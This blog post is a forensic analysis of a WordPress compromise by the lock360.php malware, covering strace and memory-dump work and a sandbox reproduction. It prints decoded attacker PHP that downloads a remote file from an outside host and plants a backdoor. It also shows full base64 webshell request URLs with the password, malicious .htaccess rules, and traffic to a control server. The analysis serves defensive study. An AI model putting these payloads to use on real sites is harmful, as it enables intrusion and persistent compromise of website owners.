Technical analysis of Wordpress hack with PHP script lock360.php as running process (reading PHP code from memory)

Written by - 5 comments

Published on - last updated on June 30th 2022 - Listed in PHP Security Linux Hacks Wordpress


In the last article, we wrote about a mass-hack attack on multiple Wordpress installations on a customer's shared hosting server. By digging deeper into log and file analysis, very interesting (from our technical perspective) and annoying (from our customer's perspective) facts were found. Some of them will be shared here in this article.

The running PHP process

One of the findings of the previous article was that the attacker launched a couple of PHP scripts as a running process. This process can be seen on the command line and as long as it is running in a loop, the process remains.

root@server ~ # ps auxf|grep lock360.php
root      6814  0.0  0.0   6076   832 pts/6    S+   08:37   0:00                      \_ grep --color=auto lock360.php
10207     2777  0.0  0.0 361172 38688 ?        S    07:33   0:03      \_ /opt/plesk/php/7.3/bin/php /var/www/vhosts/example8.net/httpdocs/wp-admin/css/colors/blue/lock360.php

The lock360.php file itself seems to have been uploaded and the process started through another malicious PHP script (about.php):

173.208.202.234 - - [17/Feb/2022:07:33:34 +0100] "POST /about.php?path=/var/www/vhosts/example8.net/httpdocs/wp-admin/css/colors/blue HTTP/1.0" 200 1423 "http://example8.net/about.php?path=/var/www/vhosts/example8.net/httpdocs/wp-admin/css/colors/blue" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
173.208.202.234 - - [17/Feb/2022:07:33:38 +0100] "POST /about.php?path=/var/www/vhosts/example8.net/httpdocs/wp-admin/css/colors/blue HTTP/1.0" 200 1456 "http://example8.net/about.php?path=/var/www/vhosts/example8.net/httpdocs/wp-admin/css/colors/blue" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
73.208.202.234 - - [17/Feb/2022:07:33:53 +0100] "GET /wp-admin/css/colors/blue/lock360.php?action=check HTTP/1.0" 200 922 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"

Just before lock360.php appeared the very first time in the access logs, two POST requests happened on about.php. The first POST was likely used to upload the lock360.php file, the second POST to launch the process using the php command.

Malicious about.php, used in Wordpress hack

Screenshot of about.php (partial)

A few seconds later, the very first access to lock360.php uses a GET action "check", which seems to be a helper function to verify, whether the process was started or not.

Note: A similar, if not even the same, situation involving a PHP script running as a loop process is also described on Sucuri's web blog.

Analyzing the running process

Obviously the first step would be to analyze the PHP script itself. What is it programmed to do? Is this another web shell? Does it attack other websites?

To our (frustrating) surprise, the file (lock360.php) was already removed from the file system, making a quick analysis impossible. Instead we first focused on the process itself and used strace to see what the process is doing:

root@server ~ # strace -f -s 10000 -p 2777
strace: Process 2777 attached
restart_syscall(<... resuming interrupted nanosleep ...>) = 0
open("/var/www/vhosts/example8.net/httpdocs/index.php", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=405, ...}) = 0
lseek(3, 0, SEEK_CUR)                   = 0
fstat(3, {st_mode=S_IFREG|0444, st_size=405, ...}) = 0
read(3, "<?php\n/**\n * Front to the WordPress application. This file doesn't do anything, but loads\n * wp-blog-header.php which does and tells WordPress to load the theme.\n *\n * @package WordPress\n */\n\n/**\n * Tells WordPress to load the WordPress theme and output it.\n *\n * @var bool\n */\ndefine( 'WP_USE_THEMES', true );\n\n/** Loads the WordPress Environment and Template */\nrequire __DIR__ . '/wp-blog-header.php';\n", 8192) = 405
read(3, "", 8192)                       = 0
read(3, "", 8192)                       = 0
close(3)                                = 0
access("/var/www/vhosts/example8.net/httpdocs/index.php", F_OK) = 0
open("/var/www/vhosts/example8.net/httpdocs/index.php", O_WRONLY|O_CREAT|O_TRUNC, 0666) = -1 EACCES (Permission denied)
access("/var/www/vhosts/example8.net/httpdocs/index.php", F_OK) = 0
utime("/var/www/vhosts/example8.net/httpdocs/index.php", {actime=2021-01-18T09:53:39+0100, modtime=2021-01-18T09:53:39+0100}) = 0
chmod("/var/www/vhosts/example8.net/httpdocs/index.php", 0444) = 0
open("/var/www/vhosts/example8.net/httpdocs/.htaccess", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=475, ...}) = 0
lseek(3, 0, SEEK_CUR)                   = 0
fstat(3, {st_mode=S_IFREG|0644, st_size=475, ...}) = 0
read(3, "<FilesMatch \".(py|exe|php)$\">\n Order allow,deny\n Deny from all\n</FilesMatch>\n<FilesMatch \"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$\">\n Order allow,deny\n Allow from all\n</FilesMatch>\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>", 8192) = 475
read(3, "", 8192)                       = 0
read(3, "", 8192)                       = 0
close(3)                                = 0
access("/var/www/vhosts/example8.net/httpdocs/.htaccess", F_OK) = 0
nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffea9357e20) = 0
open("/var/www/vhosts/example8.net/httpdocs/index.php", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=405, ...}) = 0
lseek(3, 0, SEEK_CUR)                   = 0
fstat(3, {st_mode=S_IFREG|0444, st_size=405, ...}) = 0
read(3, "<?php\n/**\n * Front to the WordPress application. This file doesn't do anything, but loads\n * wp-blog-header.php which does and tells WordPress to load the theme.\n *\n * @package WordPress\n */\n\n/**\n * Tells WordPress to load the WordPress theme and output it.\n *\n * @var bool\n */\ndefine( 'WP_USE_THEMES', true );\n\n/** Loads the WordPress Environment and Template */\nrequire __DIR__ . '/wp-blog-header.php';\n", 8192) = 405
read(3, "", 8192)                       = 0
read(3, "", 8192)                       = 0
close(3)                                = 0
[...]

Our assumption, that the PHP process was running in a loop, was confirmed. The process tried to open (and write) into index.php and .htaccess files, right until the nanosleep function - and then starts all over again.

Retrieving the PHP code from the running process

With that in mind we now know on which files the process is doing something - but what exactly is that? As mentioned before, the file itself was removed from the file system and we cannot see the PHP code anymore. But as the process is still running, that means the PHP code is kept in memory of that process!

The memory content of a process is saved in /proc/PID/maps. But finding the needed memory range and debugging the memory with gdb can be pretty time consuming and complex.Thanks to a Python helper script found on this Stackoverflow question, the whole memory from the running PHP process with PID 2777 could be dumped and saved into a file:

root@server ~ # python2 scripts/dump-memory.py 2777 > 2777.dump
root@server ~ # du -h 2777.dump
9.0M    2777.dump

The memory dump file has a rough size of 9MB and contains the memory of the process as binary code. To actually see the contents in text, we can pipe the memory dump to the strings command:

root@server ~ # cat 2777.dump  | strings
[...]
htaccess_path
/var/www/vhosts/example8.net
25ed46bd4dca601311e3215e66790a5a
a8053aec80c29da6242325243cf5fd83
926dd0f95df723f9ed934eb058882cc8
a8053aec80c29da6242325243cf5fd83
<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
[...]

The output looks familiar, doesn't it? It matches parts of what we were able to see from the strace output!

By following the memory dump, some PHP code suddenly appeared:

Parts of the PHP code retrieved from the running PHP process

Once again, the code is highly obfuscated, involving urldecode, base64, hex codes and even more obfuscation methods! By passing the full code through Malware Decoder, some parts of the code could be deciphered. This helped to show the following code:

Partly deciphered PHP code from process memory

Partly deciphered PHP code from the process memory

Two variables (pwd163 and zzz) can clearly be seen. The first indicates a valid password, accessing the file through a HTTP Request. The second seems to be an additional request (GET) parameter, containing a payload or a function.

Reproducing the hack

So far we have (most) information we need to reproduce the hack involving lock360.php:

  • We have the PHP code from lock360.php (retrieved from the process' memory) and can create lock360.php ourselves
  • We have the access logs and can see GET requests on lock360.php - including the password (pwd163) and the action to execute (zzz)
  • We created a sandbox server to simulate what would happen, in a directory writable by the PHP user

From the access logs, we can see many requests to lock360.php:

Partial output from access log, showing multiple GET requests to lock360.php

A closer look at the zzz variable revealed, that the submitted code was base64 encoded. Here's an example of one of these requests:

173.208.202.234 - - [17/Feb/2022:07:26:30 +0100] "GET //lock360.php?pwd163=5w1JT_GxnA!lk2&zzz=PD9waHAgZWNobyAnIyM4OCMjJzsNCmZ1bmN0aW9uIGdldCgkdXJsKXsNCiAgICAkZmlsZV9jb250ZW50cyA9IEBmX[...] HTTP/1.0" 200 258 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36"

Note: The zzz variable has been cut here for privacy reasons.

By decoding the zzz variable, we were surprised to see actual PHP code appearing:

<?php echo '##88##';
function get($url){
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    return $file_contents;
}
$filePath = "/var/www/vhosts/example8.net/httpdocs/wp-content/uploads/woocommerce_uploads/new-index.php";
$a = get("http://51la.adcef.com/a.txt");
$b = @file_put_contents($filePath, $a);
if (strlen($a) > 500 && strlen($a) == $b)
{
    echo "success--" . str_replace(dirname(__FILE__),"", $filePath) ."--";
} else {
    echo "failed";
}

 echo '###88###';

This means that the lock360.php script awaited PHP code in the zzz variable to then execute this inside lock360.php. Certainly an interesting approach, technically speaking!

Most of the requests to lock360.php looked the same way, with a slightly adjusted $filePath variable. The goal: To create many more hidden files on the file system, accessible by the hacker via HTTP.  But this only works, as long as lock360.php still existed. As we know from the beginning of the article, the file was actually removed from the file system. How and when did that happen?

Let us take a look at the very last successful request to lock360.php:

173.208.202.234 - - [17/Feb/2022:07:26:31 +0100] "GET //lock360.php?pwd163=5w1JT_GxnA!lk2&zzz=PD9waHAgZWNobyAnIyM4OCMjJzsNCiRyZXN1bHQgPSBAdW5saW5rKCJsb2NrMzYwLnBocCIpOw0KaWYgKCRyZXN1bHQpDQp7DQogICAgZWNobyAic3VjY2VzcyI7DQp9IGVsc2Ugew0KICAgIGVjaG8gImZhaWxlZCI7DQp9DQogZWNobyAnIyMjODgjIyMnOw%3d%3d HTTP/1.0" 200 201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36"

By base64 decoding the zzz variable we obtain the following PHP code:

<?php echo '##88##';
$result = @unlink("lock360.php");
if ($result)
{
    echo "success";
} else {
    echo "failed";
}
 echo '###88###';

Here we go: That's the actual code removing lock360.php from the file system.

After lock360.php was executed using our HTTP request, we saw that a new .htaccess file was created in the same path:

root@sandbox:/var/www/html# ls -la hacktest/
total 44
drwxr-xr-x 2 www-data www-data  4096 Feb 19 14:50 ./
drwxr-xr-x 3 root     root      4096 Feb 19 14:49 ../
-rw-r--r-- 1 www-data www-data   475 Feb 19 14:50 .htaccess
-rw-r--r-- 1 www-data www-data 31786 Feb 19 14:34 lock360.php

The content of this newly created .htaccess file looked very simiilar (keep the strace output in mind):

root@sandbox:/var/www/html# cat hacktest/.htaccess
<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

So what does the loop process do?

As mentioned before, the loop process targets following files in the same path: index.php and .htaccess. By reproducing some HTTP requests on our sandbox server we could see that a new .htaccess file was actually created. The loop does that for the .htaccess and for the index.php file. The process checks whether or not these files are already containing the malicious code. If not, the process writes malicious code into these files.

For example if we clean up the .htaccess file and reset the file to use the defaults for Wordpress again:

root@server /var/www/vhosts/example8.net/httpdocs # vi .htaccess

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

But right after saving this file, it is immediately overwritten again by the running PHP process:

root@server /var/www/vhosts/example8.net/httpdocs # cat .htaccess
<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

On index.php the behaviour is slightly different: Here the process creates a lot of malicious code at the top of index.php, as soon as the file is writable by the process:

Malicious code added in index.php from the running PHP process

Wait a minute, this code does look familiar, doesn't it? Yes, indeed. It is the same PHP code as we have retrieved from the running PHP process! This means: lock360.php basically recreates itself again in index.php.

What is particularly mean (or clever from a technical perspective) is that the index.php file is created or modified using the original timestamp. We can verify this by moving the current index.php and wait until the php process creates it again:

root@server /var/www/vhosts/example8.net/httpdocs # ls -la | grep index.php
-r--r--r--  1 example8 psacln       405 Jan 18  2021 index.php

root@server /var/www/vhosts/example8.net/httpdocs # mv index.php ../

A new index.php is immediately created by the PHP process:

root@server /var/www/vhosts/example8.net/httpdocs # ls -la | grep index.php
-r--r--r--  1 example8 psacln     32196 Jan 18  2021 index.php

Note the difference in file size, containing the malicious code. However the modification timestamp is still set to January 18th 2021 - as if it was never changed ever since!

We can actually see this operation happening in the strace output, using the utime systems call:

access("/var/www/vhosts/example8.net/httpdocs/index.php", F_OK) = 0
open("/var/www/vhosts/example8.net/httpdocs/index.php", O_WRONLY|O_CREAT|O_TRUNC, 0666) = -1 EACCES (Permission denied)
access("/var/www/vhosts/example8.net/httpdocs/index.php", F_OK) = 0
utime("/var/www/vhosts/example8.net/httpdocs/index.php", {actime=2021-01-18T10:15:11+0100, modtime=2021-01-18T10:15:11+0100}) = 0
chmod("/var/www/vhosts/example8.net/httpdocs/index.php", 0444) = 0

open("/var/www/vhosts/example8.net/httpdocs/.htaccess", O_RDONLY) = 3

Additionally to faking the file's timestamps, the permissions are also adjusted to 444 (read-only). Any attempt to delete the file from the website owner (for example using FTP) would fail.

lock360.php talks to a remote (control) server

In our last article we guessed that the running lock360.php process would attack remote servers. To see the actual network communication of the process, we used strace with the network filter:

root@server ~ # strace -p 2799 -f -e trace=network -s 10000
strace: Process 2799 attached
^C
strace: Process 2799 detached

But even after several minutes, nothing showed up.

However when we reproduced the PHP script on our sandbox server, we ran tcpdump in the background. Whenever the lock360.php script was accessed using HTTP, it connected to a remote server:

10:27:11.788950 IP 10.33.1.20.56792 > 10.33.1.99.80: Flags [P.], seq 1:1528, ack 1, win 502, options [nop,nop,TS val 3321951482 ecr 2285666150], length 1527: HTTP: GET /lock360.php?pwd163=5w1JT_GxnA!lk2&zzz=PD9waHAgZWNobyAnIyM4OCMjJzsNCmZ1bmN0aW9uIHNlYXJjaERpcigkcGF0aCwgJGRlZXAsICYkcmVzdWx0cyl7DQogICAgaWYgKGNvdW50KCRyZXN1bHRzKT44KQ0KICAgIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAgICBpZiAoJGRlZXA%2bMykNCiAgICB7DQogICAgICAgICRyZXN1bHRzW10gPSAkcGF0aDsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAgICBpZihAaXNfcmVhZGFibGUoJHBhdGgpKSB7DQogICAgICAgICRkcD1kaXIoJHBhdGgpOw0KICAgICAgICB3aGlsZSgkZmlsZT0kZHAtPnJlYWQoKSkgew0KICAgICAgICAgICAgaWYoJGZpbGUhPScuJyYmICRmaWxlIT0nLi4nKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aC4nLycuJGZpbGUpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgc2VhcmNoRGlyKCRwYXRoLicvJy4kZmlsZSwkZGVlcCsxLCAkcmVzdWx0cyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRkcC0%2bY2xvc2UoKTsNCiAgICB9DQp9DQokcmVzdWx0cz1hcnJheSgpOw0KJGRlZXAgPSAxOw0Kc2VhcmNoRGlyKGRpcm5hbWUoX19GSUxFX18pLCRkZWVwLCAkcmVzdWx0cyk7DQpzaHVmZmxlKCRyZXN1bHRzKTsNCmlmIChjb3VudCgkcmVzdWx0cyk8NSl7DQogICAgZWNobyAiZmFpbGVkIjsNCn0NCmZvcmVhY2ggKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsNCiAgICBlY2hvICRyZXN1bHQgLiBQSFBfRU9MOw0KfSBlY2hvICcjIyM4OCMjIyc7 HTTP/1.1
10:27:11.788968 IP 10.33.1.99.80 > 10.33.1.20.56792: Flags [.], ack 1528, win 498, options [nop,nop,TS val 2285666151 ecr 3321951482], length 0
10:27:11.790587 IP 10.33.1.99.56442 > 1.1.1.1.53: 44717+ A? 3341-ch4-v6.bstxrp.com. (40)
10:27:11.790653 IP 10.33.1.99.56442 > 1.1.1.1.53: 15979+ AAAA? 3341-ch4-v6.bstxrp.com. (40)
10:27:12.106535 IP 1.1.1.1.53 > 10.33.1.99.56442: 44717 1/0/0 A 173.208.129.58 (56)

10:27:12.111728 IP 1.1.1.1.53 > 10.33.1.99.56442: 15979 0/1/0 (111)
10:27:12.299367 IP 10.33.1.99.54714 > 173.208.129.58.80: Flags [S], seq 2373514459, win 64240, options [mss 1460,sackOK,TS val 1444339332 ecr 0,nop,wscale 7], length 0

With tcpdump, we can see our reproduced HTTP request to lock360.php on the sandbox server (10.33.1.99), including the full GET request with pwd163 and zzz variables. Within the same second, the PHP script caused a DNS lookup for domain 3341-ch4-v6.bstxrp.com (resolved to 173.208.129.58.80) and a second later connected to this remote server using HTTP.

By looking closer at the data transmission, we could see the following POST request, containing information about the server hosting lock360.php:

10:51:12.948319 IP 10.33.1.99.56000 > 173.208.129.58.80: Flags [P.], seq 1:184, ack 1, win 502, options [nop,nop,TS val 1444572981 ecr 369195937], length 183: HTTP: POST / HTTP/1.1
POST / HTTP/1.1
Host: 3341-ch4-v6.bstxrp.com
User-Agent: 10.33.1.99
Accept:.*/*
Content-Length: 1340
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue

10:51:13.073270 IP 173.208.129.58.80 > 10.33.1.99.56000: Flags [P.], seq 1:26, ack 184, win 235, options [nop,nop,TS val 369196062 ecr 1444572981], length 25: HTTP: HTTP/1.1 100 Continue
HTTP/1.1.100 Continue

10:51:13.073401 IP 10.33.1.99.56000 > 173.208.129.58.80: Flags [P.], seq 184:1524, ack 26, win domain=10.33.1.99&request_url=%2Flock360.php%3Fpwd163%3D5w1JT_GxnA%21lk2%26zzz%3DPD9waHAgZWNobyAnIyM4OCM
[...]
jIyM4OCMjIyc7&ip=10.33.1.20&agent=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+like+Gecko%29+Chrome%2F98.0.4758.102&referer=&protocol=http%3A%2F%2F&language=en-US%2Cen%3Bq%3D0.9

10:51:13.205498 IP 173.208.129.58.80 > 10.33.1.99.56000: Flags [P.], seq 26:267, ack 1524, win 258, options [nop,nop,TS val 369196195 ecr 1444573106], length 241: HTTP: HTTP/1.1 200 OK
HTTP/1.1.200 OK
Server:.nginx
Date:.Sat,.19.Feb.2022.10:51:13.GMT
Content-Type:.text/html;.charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
2ceJxzzs8rSc0r0Q2pLEi1UihJrSjRzyjJzakBAHDCCSo=

The POST data contains information about the requested domain, the script's location and full request (including password and zzz variable), even the user agent from the http client. The server response for every request is just a string: eJxzzs8rSc0r0Q2pLEi1UihJrSjRzyjJzakBAHDCCSo=.

So far this control server is still running and accepting the POST data.

A beautiful hack - but evitable!

To sum this article up, the lock360.php hack, involving running processes recreating itself, hiding inside index.php, is actually a beautiful hack (techincally speaking). The obfuscation level is something I personally have not seen before - there's a lot of effort of creating such a script. But the worst part of the whole hack story is actually, that all the hacks of the affected Wordpress installations could have been prevented. By keeping Wordpress up to date most vulnerabilities can be closed - with a mouse click. However this should be done on a weekly basis - at least! Unfortunately most Wordpress users wait much longer and only occasionally update their installation. Whenever possible, use automatic updates of Wordpress itself, the plugins and themes.

Another important hint is how you can protect your Wordpress blog from brute force login attacks. This kind of attack does not actually use a vulnerability of Wordpress or a Wordpress plugin - it just tries to obtain valid user/password credentials. Once this attack was successful, your Wordpress is wide open for the attacker - a vulnerability is not even needed in this case.

More and more lock360.php hacks

Updated June 30th 2022

In the last couple of months I came across multiple Wordpress installations suffering from this lock360 hack. In most cases a PHP process was running in the background, but not always. There seems to be a connection to so-called fake plugins "wpyii2" and "dos2unix", which were also often discovered on the affected Wordpress installations.


Add a comment

Show form to leave a comment

Comments (newest first)

ck from Switzerland wrote on Nov 2nd, 2022:

Hello echo. The analysis focuses on what the process does and how it came to run in the first place. Cleaning up is obviously by detecting and deleting manipulated files. These can be a couple of files if you are lucky, can be douzens or more if the attackers uploaded many more malicious files. These are sometimes well hidden. You need to make use of malware scanners to find such manipulated files. The safest way is still to restore a backup from a known clean date. There is no manual for cleaning up such a hack because the file names of manipulated or uploaded files almost always differ from hack to hack. I suggest to look at other hack research articles here. If you need help cleaning up a hack, contact me via contact form for a quote.


Echo from New York City wrote on Nov 2nd, 2022:

How come you don't tell us how to rid it? What's the point in an analysis?


rockemon from Indonesia wrote on Jul 28th, 2022:

make a folder name "lock360.php"


ck from Switzerland wrote on Mar 20th, 2022:

Hi Edson. Well, in this article the focus was more about the technical analysis of the hack, not about the problem itself. That was described in the previous post. So basically a clean up of the modified files and WordPress update was required after the hack.


Edson Ferreira from Brazil wrote on Mar 19th, 2022:

Hi Mr Kuenzler,

How did you solve this problem?